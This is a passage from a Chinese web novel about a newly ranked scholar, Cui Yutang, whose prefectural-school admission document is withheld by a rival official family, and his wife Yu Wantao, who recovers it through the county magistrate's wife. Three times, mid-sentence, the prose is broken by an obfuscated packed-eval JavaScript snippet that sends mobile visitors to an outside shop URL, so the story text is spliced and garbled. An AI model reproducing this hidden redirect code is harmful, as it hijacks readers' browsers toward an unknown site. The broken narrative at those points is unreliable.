元郡松沉声道:“连自己房里的人都管不好，将来偌大的元府还怎么指望你！” 元修己低头认错:“爹，我确实想不到云儿会出面说话，且……祖母护着云儿，儿子也没法。” 昨日寿宴，若非他夫人出面，崔玉棠的处境势必会被推至流言高/潮，等到那时再施压，不怕他一个小小的秀才不妥协。 只是计划被打乱了。 “爹，您为什么一定要收崔玉棠为门生？他虽是小三元，可乡试在两年后，一切都还未定。” 元郡松脸色阴郁:“崔海那老东西死得太蹊跷了，朝中不少人都在猜测是你爹我为了上位，在背后暗暗谋划，他的案子明显是被人故意设计的，最后却将这主谋推到了我们元家头上，若是不将对方揪出来，难保以后不会突然咬我们一口。” 这个隐患留不得。 那崔玉棠是崔家留在府城的根子，若崔海贪污案背后的主谋真冲着崔家来的，必定不会留崔玉棠，他把人收到门下，放在自己的眼皮子底下，一是可以借他钓出主谋，二是也能做个态度给朝中那些人看。 最后，自然也是看中了对方的文采。 小三元，若这两年没出甚么意外，最低也能拿个举人，届时候官外派，有师生这层关系在，能更好地将人收为己用，给元家卖命。 “老三，你的策论空而无据，只会夸夸其谈却落不到实处，那崔玉棠的策论就做得极妙，我当了这么多年的评卷官，很少见到这么精妙的文章，下场乡试，若无意外，他势必压你一头。” 元郡松转身从身后檀香书架的格子里拿出一砖红色的折子，打开后正是府学的入学文牒，上书崔玉棠其名。 他将文牒随意搁至书案边，“距离府学报名还有三日便结束了，这文牒你拿去给处理了。” 元修己怔然:“爹，崔玉棠是府试头名，他若不入府学，恐怕会引起文大人责问。” 元郡松轻啧:“所有入府学的学子文牒，本官都已在日前让府学教谕送到各学子手上了，过了报名期限，那便是他自妄，不打算入府学。” “就算有人追问起来，被问责的也是府学教谕，与本官无甚关系。” “还是爹您考虑得周全，只是若崔玉棠不入府学，怕是会回容县。”，元修己皱眉，担忧道:“只怕远则生变。” “寿宴上闹了那一出已然惹你祖母不快了，收门生的事再说吧。”，元郡松冷下嗓音，挥了挥手，让人出去。 元修己只得作揖，退出书房去。 他大步流星往自己院里去，面上积着一团阴郁，只是回到院里却扑了空。 “少奶奶呢？”，元修己沉声质问院里伺候的下人。 下人哆嗦着回:“方才带着宝盻姑娘出去了。” 元修己闻言面沉如墨，抬脚便将那下人踹了出去，以作泄愤。 - “云姐儿，那日多谢你为二郎说话。”，余晚桃合手抵在额前，认认真真地给刘云行了礼。 刘云淡然笑着，“只是实话实说罢了，我也没想到我夫君会故意为难你们。” “那日……”，余晚桃欲言又止。 刘云浑不在意，只当明了她们如今的处境，轻叹了一声，将老夫人赏赐的玩意兑了白银，让宝盻拿过来，“为人妻者，只能站在夫君那边，你早就知道其中的事，才那般说话，想要与我划清界限？” “其实我也能理解，但——修己毕竟是我夫君，夫妻一体，当日在寿宴上已然驳了他的面子，往后便不会再有第二次，这是当时我们说好的绒花寿桃摆件的赏银，你拿着吧。” 余晚桃心中苦涩，不过面上神情却也洒脱，她与刘云本就不是一路人，当各自安好。 “云姐儿，不日我便与二郎返回容县了，望你珍重。” “你也是，珍重。”，刘云轻轻弯着眉眼。 余晚桃心想再说些什么，却不知如何开口，想提醒她元府里人心险恶，该当小心，可转念又想，元府老夫人和徐元氏都护着她，待她如亲生的一般。 有这两位作为倚靠，往后府里其她人再怎么谋算，刘云都能安安稳稳地度日。 将刘云送走，余晚桃提着包裹白银的绸布回房里收好，出来时却见崔玉棠一脸凝重地回来了。 崔玉棠一早便出发去府衙询问府学报名文牒的进展，如今这般神色，想来事情办得不顺。 她给人倒了一碗茶水，问:“可是没问到吗？” 崔玉棠应道:“衙门的人回说，文牒是府学里负责新生的教谕发放的，报名时间截止到后日，若这两日还未收到文牒，便是没有被府学选上。” “你可是府试第一名，若你都没被选上，那其他秀才就更不可能了，游兄怎么说的？他也没选上吗？” 崔玉棠摇头道:“游兄并未有入府学的打算。” 联想到此处，崔玉棠也不再执着于入府学了，他兀自放下心里的惋惜，对余晚桃说:“再等两日，若还没有收到文牒，我们就回容县吧，崔夫子是极好的先生，跟着崔夫子读书，我也能学到很多。” “且等等看吧。” 余晚桃总觉得哪里不对劲，她回想着自来到府城后遇上的这些事，都跟元府有不小的牵扯，寿宴上他们又明着撕破脸了，书生的报名文牒，该不会是被故意扣下了吧？ 越想越有可能！ - 又等了两日，依旧不见府学的人上门送报名文牒。 崔玉棠捏着自己象征秀才身份的儒生玉佩看了片刻，默不作声地开始收拾包袱，脸上看不出甚么失落的神情，依旧是一副温和的神色。 余晚桃将租房的契书拿出来，与屋主算清了租银，其余东西通通叫人搬到庄子里去，期间余小器气喘吁吁地跑过来找她。 弯腰喘了好一阵，才直起身愤怒道:“我在府学外都打听清楚了，今年府学收了不少秀才，不可能没有公子的名额。” 余晚桃眸子微眯: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285902|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你有打听到是哪位教谕负责新生报名的吗？” “是一位姓黄的教谕，不过没见到人，府学外有府兵把守的，其他人不得靠太近。” 余晚桃此时几乎可以肯定，书生的报名文牒是被人扣下了，而这背后搞小动作的，除了元府，她可再想不出有谁能与她们家结这么大仇的了，轻易便断人前程。 “东家，我们要直接去府衙里敲鼓鸣冤吗？可不能就这么白白失了入府学的名额，府学里的先生教谕们都是举人，教学正符合公子，他都已经是秀才了，哪里能再回县学去。” “同是秀才，谁能教得动他啊。”，余小器抱怨。 余晚桃皱眉，脑海里思绪不断，很快理出了关键点，她笑道:“不用去府衙，我们回容县，找能直接和知府接触的人。” 余小器恍然大悟:“东家是想借助容县知县的手，让他修文书去和知府说吗？可他怎么会帮我们。” “是帮我们，也是帮他自己。”，余晚桃胸有成竹道:“若他知道自己的政绩要泡汤了，恐怕老虎凳子要坐不住了。” 从小院清退出来后，三人到庄子里临时住了一晚，翌日贞娘和家里人搬过来守着庄子，余晚桃才收整行李，准备回容县。 此次回程轻车简从，天未亮便驶着马车离开了府城。 几日奔波，终于回到容县。 余天庆得知他们回来的消息，早早在城门口等着，等人一到，就直接将人接回村里去。 余晚桃连铺子门都没见着，就先回了村，应付完陆续上门贺喜的村民们，才有空闲坐下来吃口茶，和小细柳说话。 小细柳说了一些村里发生的事，又讲到养蚕大棚，她笑着说道:“今年头批蚕茧已经可以收取了，我们昨儿还在清点人手呢，准备这两天把蚕茧都收回来，初步估算着，能有三千多斤。” 余晚桃看了一下养蚕大棚的账目，心里有了个大概的数，她在上面点了点，说:“等明天流水席过后，召集一下村里人，把缫丝手艺教出去吧，以后都卖蚕丝，不卖蚕茧，他们若是愿意，我也可以按照市价直接收。” 小细柳听着骇然，她犹豫道:“这么大数目的蚕茧，得花多少银子啊，而且我们铺子里用不完恁些蚕茧吧，得卖到啥时候去。” “我在府城买了庄子，准备把绒花品生意带过去，也试着卖一下绸缎料子，我们蚕丝雪白，质地好，应该能卖出好价。” “府城里都买庄子了？！” 小细柳一直在村里没出去过，哪里能想着，她们家的生意已经是能做到府城去了的，她当下非常高兴，忙道:“旁的我帮不上甚么忙，不过织缎子的手艺却是有的，慈济堂的姑娘们也多，我们人手肯定是不缺的。” 余晚桃确实是打算从慈济堂里招些姑娘，之前一批负责绒花，这批就专门负责缫丝，织绸，还有村里婶子们，也能帮着缫丝。 眼下人手不缺，资金也够周转，就就等大棚里的蚕茧收回来了。 “对了，窈儿定亲了，你知道吗？”，小细柳忽然说了句。 余晚桃闻言一楞。 72. 第 72 章 “窈儿定的哪户人家？” 余晚桃有些不敢相信，她去府城也就月余，窈儿竟都定亲了，不过细想着确实也快过十六了，慈济堂年满十六的姑娘都得被配出去。 这个规矩害了不少从慈济堂里面出来的姑娘。 小细柳对窈儿定亲的那户人家很满意，她拍着腿，眯眼笑了起来，说:“是县里刘家的，是个童生，家里还开着铺子，窈儿嫁过去后也能过上富贵日子了。” “是刘郯吧。” “是这名，你认识刘公子？” 余晚桃扯了扯嘴角，虽觉惊诧，但心里还是挺欣慰的，二郎与刘郯交好，想来刘郯是个品性好的，人差不到哪里去，窈儿嫁他，应该也不会太差。 只是年纪太小了，才十六，该是最天真无邪的年纪，就要为人妻，为人母。 余晚桃似乎忘了，她自己也是十六，就嫁进了崔家。 村中安详，入夜后便陆续吹了烛火，田野低飞着一片萤火虫，青蛙声声叫着，这是在府城里感受不到的夜景。 余晚桃推开窗，抵着窗柩看外面皎洁月光下漫无边际的田野，脑海里想着下午小细柳说的话，指节一下一下轻扣着窗台。 崔玉棠洗漱完，松松垮垮地披着件素色的长内衫进来，乌黑的眸子带着湿润水汽，“怎么还不睡？” “今儿细柳姐说，窈儿同刘郯定了亲事，我是担心窈儿为的是即将到来的官配，而非是真心喜欢这门亲事，总怕她委屈了自己。”， 窈儿那般性子的人，素来要强，嘴上说得浑不在意，但其实心里的话都藏着，是个心事重的。 崔玉棠拿巾子铰干了头发，随意在榻边坐下，拿过一卷书，边看边回道:“刘兄为人真诚，品性端正，当是良配，不过你若是担心，得了空去找窈儿说说话，亲自问她便是。” “这倒是。” 余晚桃不再纠结这处，抬手关了窗，见书案上孤零零只点着一盏油灯，便去柜子里取了盏出来，两盏油灯都点上，屋内顿时亮堂许多。 她坐到床边脱外衣，严肃道:“大晚上看书莫要省着烛火，仔细长久下来伤了眼睛，得不偿失。” 这个时候可没眼镜配，近视了就真的是半瞎了。 崔玉棠老老实实受教了，往光亮处挪近了些。 夜风轻拂着，烛火幽幽，待整个大桑村都沉沉睡去，崔玉棠才揉着疲倦的眼皮，收拾好书案上的笔墨书卷，吹了油灯，摸黑上床，闭眼睡去。 翌日鸡鸣，便有村民送办流水席的菜和肉过来，妇人们各自带着围裙上门，作为主人家自也得跟着忙活起来。 余晚桃昨儿夜里睡得好，今儿起来简单收拾了一番，整张俏生生的面孔光彩照人，眸子明亮得紧，笑起来恍若一盏弯月，教人不自觉被她脸上的笑意渲染着，立时干活更勤谨了。 李氏也来了，此刻正翘着脑袋和几个妇人围在院里洗菜，同人唠得火热，看她如今这般，余晚桃心里也唏嘘，这李氏怎么瞧着回春了似的，整个人年轻许多，日子应是过得十分滋润。 余晚桃提着两只山羊腿进来，放到水盆里，刚撂起袖子，就被李氏一个大步冲过来，拿手肘按住她:“今儿你可是主家，哪有主家亲自来洗菜洗肉的，快去前头招呼着，这有我们呢。” “就是，桃子这不用你帮忙。” “那羊腿放着吧，我们洗完菜就处理了，来个焖烧羊腿？” “看灶头师傅怎么做呗！” 几个妇人你一嘴我一嘴的，院里的热闹就这么撑了起来。 “那成吧。”，余晚桃应了一声，说:“舅母，那你们先忙着，我到前头去了。” “快去吧。” 余晚桃到院前去，发现他们自己村里办的流水宴席，竟也来了不少县学里的学子和先生，崔玉棠正在一旁招呼着，她见刘郯也在，且春风满面的，一看便是好事将近。 “怎么不见游兄？”，余晚桃问。 “不知怎么回事，平日里到处溜闲惹花的人，这朝考上秀才却闭门不出了。”，有书生抱怨。 刘郯嗐了一声，说:“听闻是游兄那位父亲派人来接他上京呢，他不乐意去，陈教谕又劝他，如今正闹着脾气呢。” “被亲爹放养了这么多年，一考上秀才就来接，换我我也不乐意回去。” “游兄亲爹在京里可是朝官，听说是户部的，他若是去了京都，那前途似锦啊。” 几个书生谈论着游子涧的事，愈发激烈起来，一派是支持游子涧去京都奔前程的，一派是瞧不上游子涧亲爹那功利态度的，两派争吵不休，最终被崔有道一声咳嗽给制止了。 崔有道冷冷看着自己这些学生，无情道:“既然你们这么爱谈论，那回去便以此为策题，写一篇五千字文章，明日上交。” 崔有道的话顿时引起一阵哀嚎，崔夫子简直惨无人道！ 恰时院外响起了鞭炮声，一辆马车停下来，几个小厮模样的人拎着礼，将车内的主子扶下来。 打眼瞧去，来客竟是县里王姓绅豪，下来的人里，还跟着位打扮娇俏灵动的姑娘家。 余天庆纳闷道:“也没请这些人啊。” 余晚桃心里门清，这都是奔着崔玉棠这位小三元来的呢，她心里蛐蛐，面上却不能露出来，笑脸将人迎进来，挥手让人上茶。 “崔秀才，久仰大名，我们老家伙不请自来，没打扰到你们吧？” 崔玉棠神色温和:“自是不会，来者是客。” “那便好，丫头，快来见见崔秀才。”，王老爷笑眯眯地将自家姑娘唤过来，“崔秀才，这是我家里姑娘，年十六，得知小三元就出在咱容县，她是钦慕得很。” 王姑娘闻言，快速抬头看了崔玉棠一眼，被他俊雅漂亮的面孔冲击得登时面红耳热，慌张地垂着脑袋，不敢再看。 这王老爷真是打着明晃晃的算盘。 可崔玉棠并非大桑村的儿子，而且大桑村的女婿，他娶的是余氏族人，这朝有出息了，站在他们的地盘上被人塞姑娘，实在是明着打余氏族人的脸。 丁婶第一个不服气，跳出来阴阳怪气道:“这姑娘家的还未出阁呢，怎么大庭广众之下钦慕旁的已经成亲的男子，也不怕坏了名声。” “就是，当我们大桑村人不存在啊。”，林小秋一把将余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300947|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚桃拽过来，按到崔玉棠身边去，叉腰道:“崔秀才正头妻子在这呢，你们要是想道喜就好好道，若打着道喜的名头往人房里塞人，趁早歇了心思吧。” 王老爷被当众下了面子，脸色不变，依旧笑呵呵的，他镇定自若道:“各位何必如此激动，自古以来有文采的书生哪个女子不慕，我家姑娘知书达理，素来便喜欢读书，这朝只是钦慕秀才郎的文采而已。” “诸位可莫要胡言乱语，败坏我家姑娘名声。” 还倒打一耙了，这着实给余氏族人气得够呛。 好在都顾着今儿好日子，没有发作。 到了席上，作为主家的崔玉棠和余晚桃坐在了主位上，同席的是夫子以及几位族中长辈，还有不请自来的绅豪老爷，王姑娘也跟着落座了。 两厢暗流涌动，面颊绯红的姑娘家明里暗里抛媚眼，试图引起秀才郎的注意。 而族里几个长辈，则是一声冷哼接着一声，嫌弃的意思摆到了明面上，不过转头瞧见崔玉棠神态自若的给身旁娘子夹菜，舀汤，处处伺候得周全，便满意得直点头。 大桑村的好女婿啊！ 余晚桃自然察觉到席上氛围不对劲，她低头喝了口汤，不着痕迹地推了崔玉棠胳膊一下。 崔玉棠侧头，挑眉看她。 余晚桃瞪了一眼过去，笑说:“怎么光吃菜，王老爷远道而来，也不敬一杯酒。” “哪里能让秀才老爷敬酒的。”，王老爷机灵地站起来，端起酒杯，恭维道:“该是王某敬崔秀才一杯才是。” 崔玉棠被余晚桃瞪得一头雾水，起身受了这一杯敬酒。 只是有人开了头，后面便陆陆续续来人敬酒，他实在推脱不过，最后把自己喝得东倒西歪，险些站不住脚。 宴席结束后，余晚桃将客人们送走，才扶着他回屋去。 崔玉棠看着不壮，身量却修长，往床上一倒，手臂使劲顺势便将余晚桃压到了床榻间，他灼热的呼吸抵在余晚桃的颈侧，酒气弥漫，胡乱拱着时，安静的房内响起一声酒嗝。 房里顿时落针可闻，一直不安分的人也僵住了，脑袋埋着，似是羞愧见人。 余晚桃将躲在自己颈窝里的人捧着脸抬高些，视线对视，崔玉棠俊美的脸蛋染着火烧般的绯红，眉眼漂亮，鼻梁高挺，嘴唇被酒水浸得润泽殷红。 他睁着乌黑的眸子，一眨不眨地盯着人看，勾得余晚桃心跳陡然加速。 崔玉棠这张脸，真是一大杀器。 余晚桃偏过头，想将人推开，却被崔玉棠倏地抓着手，往自己胸膛，乃至腹部摸去，猝不及防的，她摸到了一层肌理轮廓分明的肌肉，结实的，恰到好处的腹肌。 嗯？ 余晚桃不信邪地又摸了摸，发现书生竟然真的有腹肌，她不敢置信地瞪大眼，忽而很快想到，崔玉棠可是天生神力的，刚来村子那会还跟余天庆进山打猎去。 这些时日以来，崔玉棠每日捧着书埋头苦读，身姿清俊文雅，她都险些忘了。 书生力气忒—— 余晚桃的手倏地被带着往下，触到了一团滚烫。 忒……忒大？ 73. 第 73 章 余晚桃回来得恰好，碰上村里头批蚕茧丰收，流水席过后便召集了村里蚕农，将缫丝法子教授出去。 养蚕大棚至今三月有余，五月份回来的蚕种，今年头批起收，请了人来，足足忙活两日才全部收回来，蚕茧收回来后，紧接着便是缫丝，称重，封箱，清点后送入库房。 锦庄派了不少人来收蚕丝，今年大桑村得了缫丝法子，头批收成比往年高了将近三成，惹得旁的村子里都悄悄过来学手艺，眼红得紧。 余贵家的蚕茧今年却卖不出去了，他们因为和余晚桃先前闹出来的龃龉，自动被村里人排除出去，缫丝法子没学到，只能忍着憋屈，收了蚕茧拿去给锦庄。 可因为上一年违约，今年锦庄没收他家的蚕茧。 下午挑去千丝坊，发现千丝坊今年的价只给到二十文一斤，价贱得离谱。 余贵只能把蚕茧又挑回家去了，第二天臊着脸来敲余晚桃的家门，可也扑了空。 余晚桃一早便收拾着去县里了。 他站在院子外头，愣怔许久，才佝偻着腰转身离去。 余晚桃到铺子里时，有一种恍若隔世的感觉，不过短短月余，如今再看着铺子里闲散逛着的客人们，嘴角不自觉扬起弧度，视线余光更是见窈儿步伐匆匆，急奔她而来。 “晚桃姐姐，你可算是回来了，早两日便听说你回村里去了，可惜铺子里太忙，都没空出闲去寻你。” 窈儿眉目挂着笑意，明媚开怀，在铺子里久了，待人接物和说话都游刃有余的，自有一番别样的风骨情致。 余晚桃跟着笑起来:“铺子里生意可还好？” “好着呢，不少外县的夫人们都慕名而来买我们家的东西，还吆着簪娘们单独设计妆面发髻呢。”，窈儿说着话，步伐带风，去柜台处取了近一个月来的账本。 她轻轻一搭，教账本翻开几页，话里隐隐有邀功的意思，翘着下巴特正经地说:“余东家，你可瞧瞧账，看上个月盈利了多少？” 余晚桃失笑，伸手捏捏她脸颊:“不错不错，看你越来越有做生意的派头了，这个月给你们都加工钱。” “多谢东家！”，铺子里好些女工都听到了这句话，跟着笑起来，清凌凌的笑声渲染了好些客人，纷纷掩着嘴乐，有些个眼熟的还自发过来同余晚桃打招呼。 余晚桃寻了一位交好的夫人，笑着邀道:“这个把月我在府城里倒得了些那头流行的款式簪样，还有别的妆面，都可好瞧了，回了县里便想着也给各位姐姐们看看，若姐姐得空不妨替我带带话，过两日我举办个簪花宴，想来瞧个趣的，明儿就托家里小丫鬟们到铺子里拿帖子。” “府城里流行的妆面簪样？”，那夫人一脸惊讶，旋即笑开:“那我回去给各府姐妹们传传话，明儿可就托丫鬟过来了呀，莫要诓我才是。” “这话说得，我诓谁都不会诓姐姐呀。” “余东家你这张嘴啊，可就哄我吧！” 余晚桃笑眯眯的，甜言甜语把人哄得晕头转向，乐呵呵地买了一大堆东西，才恋恋不舍出了铺子。 送走客人，窈儿好奇地上前来问:“那府城里流行的首饰是甚么样式的？可新鲜得紧？” 余晚桃捶捶肩膀，“府城里多以华美为主，金银首饰比较多，妆面是偏明艳的，倒不似我们县里的夫人们内敛保守。” “倒也是，府城里想必都是大户人家，穿金戴银的定十分高贵。”，窈儿嘘叹。 “其实也没甚的，好些都长着两副心肠子，窈儿若想去府城，等绒花庄子开起来，可自去府城那边支应着，县里有冬枝呢。” 窈儿闻言，眸子暗淡了些，她惋惜道:“等成亲了恐是不好远去府城。” 余晚桃捶肩的动作一顿，倒也没说什么，等回了后头院子，才仔细问来她定亲的缘故。 窈儿低垂眉眼，平静道:“年纪到了，慈济堂里嬷嬷都在催着我自己相看人家，恰好刘家上门提亲，刘公子品行端正，家里又经营着铺子，我觉得挺合适的，便应下了。” 旁的姑娘家都有家里人帮忙张罗婚事，可她们慈济堂里都是幼年失怙，无亲无故无族的，亲事只能等着官配，官配好赖，全凭运气，她能得如今这一门亲事，靠的还是这些时日的辛苦谋算。 余晚桃是外人，到底不好说旁的，只拍拍她的肩膀，连自己都不知道是安慰，或是其他。 寻常女子嫁人只盼着吃饱穿暖，不会挨打受骂，窈儿的想法也很贴合实际，这么个身份，没有家人亲族帮衬着，能安稳活着已然不易，哪里有精力去追求甚么情投意合的姻缘。 “窈儿，我希望你能过得好。” 窈儿低头不语。 亲事顺遂，又有了稳定的营生和收入，她自是过得好的，不少姑娘，都没她这样的幸运，如何还能再奢求旁的。 “晚桃姐姐，你且看着账本吧，我去前面忙了。”，窈儿抬起头，露出笑容。 “嗯，去吧。” 窈儿应了声，转身离开。 “窈儿。”，余晚桃忽然出声唤她。 窈儿回头，目光疑惑。 余晚桃鬼使神差地问:“你是不是心悦游公子？” “哪里！哪里敢……”，窈儿眼里闪过慌乱，随后说笑一般，轻松道:“平日里随便闹闹罢了，真要说起亲事来，游公子是甚么家世，哪里是我一个孤女能高攀的。” “你——” “我先出去了。”，窈儿落荒而逃。 余晚桃低低叹了一声，她就知道，这个直觉还是十分准的。 · 华纱绒花铺在容县开张以来积攒的人脉和客源，在簪花宴递出去的帖子里头，头一次有了清晰的回馈。 县里有些门面的夫人都极力宣传着，闹得好些外县的也想来见识见识，可帖子有限，不少人扼腕叹息，空手而归，县里甚至刮起了一阵高价收簪花宴帖子的风向。 余晚桃自个忙不过来，租了梅花园当场子，厚着脸皮去请了陈夫人帮忙张罗着，陈夫人欣然应了，不过也没白帮，给自己多拿了好几张帖子。 簪花宴当日，还未开宴，前来参宴的姑娘们嬉笑打闹着，便将梅花园里的热闹气氛撑起来了。 八月天里还热得厉害，梅花园枝繁叶茂的，绿荫成片，几步外还有冰桶，镇着冒白雾的冰块，小方柜上合着明瓦罩子，里面是些精美漂亮的糕点酥酪。 既为簪花宴，自得紧扣主题。 余晚桃特意定做了好些时下应季的花，做成鬓花簪，簇簇各有不同，入园的都能自己挑一枝戴在鬓间，明艳的花热烈张扬，或含蓄娇羞，面颊樱红，一道道倩丽身影穿梭着梅树下，好颜色尽显。 余晚桃作为东道主，也簪了一朵鹅黄绒月季在鬓边，笑意盈盈地给前来赴宴的夫人小姐们介绍，晚些日头升起了，险险闭园时，她终于等来了此次簪花宴的主要目标。 “江夫人好颜色，您一来，这梅花园里的景都变得黯淡了。” 来人正是容县的知县夫人，她穿着身料子极好的缎面襦裙，雍容华贵，面色更是红润，光彩照人，下了马车便没甚架子的扬声笑起来。 “还是余东家得脸，今儿簪花宴听着有趣，我儿病了一场，日里照顾着他都久不出门了，今朝得了空，才想着过来凑凑热闹。” “小公子是个有福气的，定会安安康康，夫人莫要优心，既然来了便畅快玩一通，陈夫人方才还念叨您呢。”，余晚桃掩着嘴轻笑，将人引进院里，教守门的闭了园，不让旁人进来。 江夫人一来，自是众夫人恭维的中心，宴上都以她为主簇拥着，新式妆面和簪样也尽可着她挑选，余晚桃特殊对待，再加上有心攀附县令府的人家恭维着，江夫人在这场簪花宴上，可谓玩得尽兴。 过了晌午，兴闹了一通后余晚桃安排了珍珠膏敷面，珍珠膏在冰桶里镇过，刚上脸时一阵冰凉，教脸皮绷得紧紧的，过后全身毛孔舒展，夏日里暑气尽数散去。 这吆好的享受，余晚桃自然也不会亏待自己。 排排过去的斜躺椅在梅树下，斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314728|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驳光线透过枝桠倾泻而下，风儿轻拂带着冰桶里润凉的气息，闭目敷面之时，闲聊之声渐起。 陈夫人慢悠悠晃着团扇:“余娘子，你们打算何日出发去府城？我家里那少爷如今还闹着脾气呢，我想着若时机合适，就教崔公子过府来劝劝人，到底京里才是他的家，如何能一直不回去。” 知道她说的是游子涧回京一事，余晚桃叹息道:“想来游公子有自己的主张，陈夫人您也莫要忧心，游公子总会想通的。” “书生们挤破脑袋都想去京都，他怎就不愿意了？”，江夫人问。 陈夫人:“心里对他亲爹有怨言啊，放不下心结。” “到底是亲爹。”，江夫人嘀咕了一句，随后问余晚桃:“余东家若是去了府城，那县里的生意可还做？” 余晚桃声音里带着失落，回道:“许是不去府城，还在县里头的。” “怎么？你相公不想带着你去府城求学？”，陈夫人挑眉，连团扇都不动了。 “那没有，只是……二郎恐怕也去不了府城求学，府试出榜后，我们在府城等了许久，本想报了名再回容县处理好这边的生意，谁料竟没收到报名文牒。” 余晚桃语气里半是抱怨半是不解，眉头皱着，教面上的珍珠膏都带出了折子，俨然十分苦恼。 “怎会没收到？”，江夫人缓缓睁眼:“你相公不是小三元吗？我都听家里那位念叨了好几次呢，是个文采极好的书生。” 余晚桃摇头，表示自己也不清楚。 她纳闷道:“我到府学外教人打听过，发现一些排名在后面的秀才都招收了，如何独独落了二郎一个？心里觉着不公却也没法子，只能回来继续在县学里读书了。” “这不是白白荒废了一个好苗子？”，江夫人不受控制地抬高音量，微有些怒道:“这中间少不得是有些腌臜事，等回去我便让老爷去查查。” 江夫人如此义愤填膺，倒也不全是为的那崔秀才一个，江知县赴任容县也很多年了，因为政绩平平，一直没能挪地方。 眼下管辖地内好不容易出个小三元，若两年后一举夺魁，那她家老爷调任升官的政绩便有了，这时如何能教人毁了去。 江夫人知道这事拖不得，回去便同江县令说了这事。 江县令闻言，沉默半响，才挥袖道:“恐怕是那崔玉棠在府城里得罪了人，报名文牒被扣下了，我亲自修书一封给文大人罢。” 余晚桃并不知，因着她这顺便一提，江县令的信件传到府城，引发了元府不小的动荡。 簪花宴后，余晚桃忙着盘账，四处请商队将蚕丝运到府城庄子里，而崔玉棠也继续回到县里读书。 约摸过了中秋，县衙里来了信，让崔玉棠过去一趟，再回来时，手上多了一张砖红色的府学报名文牒。 许是知他受了委屈，江知县还自掏腰包出了一份赏银，言谈时对他十分看重，让他去了府城好好读书，莫要松懈。 崔玉棠拿着报名文牒去陈府找了陈教谕，书房内密聊许久，翌日便同县学夫子和同窗们告了别，收拾包袱回家去了。 回到家，崔玉棠关上屋门，才同余晚桃说起这事。 “陈教谕也从府城那头收到了消息，听说是元府三公子因当众浮言妄议国事，还醉酒调戏良家女子，被文大人撞见，眼下还在牢房里呢，元郡松被文大人斥责管教不严，参他的折子已经上奏京城了。” 余晚桃只是想借江知县的身份把属于书生的报名文牒拿回来，没想到那位文知府如此正直给力，还顺带整治了一番元家。 “元府在南地势大，经营多年，朝中同族官员也不少，恐怕此事会高高拿起，轻轻放下。”，余晚桃拧眉道。 崔玉棠嗓音微沉:“官场复杂，更何况是元家这样的大族。” “不想那些了，只要拿到报名文牒即可，眼下该准备着去府城的事了。” 此去府城，算是定居，短时间内都不会再回容县了，村里，铺子里的事情都得安排妥当，她才能安心离开。 74. 第 74 章 得知了小夫妻二人要去府城定居，大桑村里不少村民都趁着赶集，跑到铺子里追问。 生怕这俩金凤凰，一飞出去就不记得根了，得了余晚桃保证还会回来的准话，才放心离去，可翌日又准备了一马车的东西，让余天庆帮着送去。 都是些村里的吃食，腊鱼腊肉，菜干，腌菜之类的，余晚桃抵挡不住村民们的热情，能久放的就都收下了，有些放不久的只能留在铺子里。 八月尾下了一阵雨，空气悠悠转凉，余晚桃加了件葱绿色褙子在外面，每日待在铺子里清点账目，把女工们都分配好各自岗位，才得了闲站在檐头下望着空落落的街道，心里有些惆怅。 不知怎的，竟会有一种即将背井离乡的愁绪涌上心头。 “哎哟，瞧这雨下得，真恼人！”，一妇人撑着伞从雨幕里急奔而来，口中抱怨着。 余晚桃收拾好思绪，让店里女工拿干净的巾子过去，将那妇人迎进门来，此时恰好其他女工都忙着手上的事，窈儿便领了活，去架边取了巾子朝那妇人走过去。 只是待走得近了，她却步子一僵，表情有些不自然。 余晚桃正疑惑时，就见她扯着僵硬的嘴角，过去唤人:“刘夫人，外头雨天风大，您快进来躲躲雨。” “你们这铺面，就是太偏僻了些，在酒儿巷如此深的地段，雨天里路又难走，这朝走过来，教我裙摆都湿透了。”，刘夫人眼也不抬，抱怨连声而起。 余晚桃朝她看去，这位刘夫人并非云姐儿家中那位，虽都这么喊着，可风度仪态却差远了，她心中略思考，便猜测此“刘夫人”，有可能是刘郯的母亲。 也就是窈儿未来的婆母。 刘母一脸不耐，步入铺子里，四处打量一番，“你这铺面倒是打理得不错。” “都是东家管理得好。”，窈儿跟在她身后，绷紧后背，肉眼可见的紧张。 刘母四处逛着，期间指向几根簪子，和绒花摆件，窈儿都一一取了下来，给拿到柜台去，见人乖巧听话，她才露出满意神色。 “倒是个乖巧懂事的，只是这到底是些抛头露面的营生，每日卖笑迎人，总是不体面，等将来和我儿成了亲，可不能再出来了。” 刘母挑着眼尾，上下打量未来儿媳妇，相貌一等一的好，确实能配得上她儿子，可惜家底太差，出身不好。 不过这门亲事既是定了，她也认这点，谁叫他儿子就看上对方了，想到慈济堂那地方，刘母嫌弃地皱了下眉头。 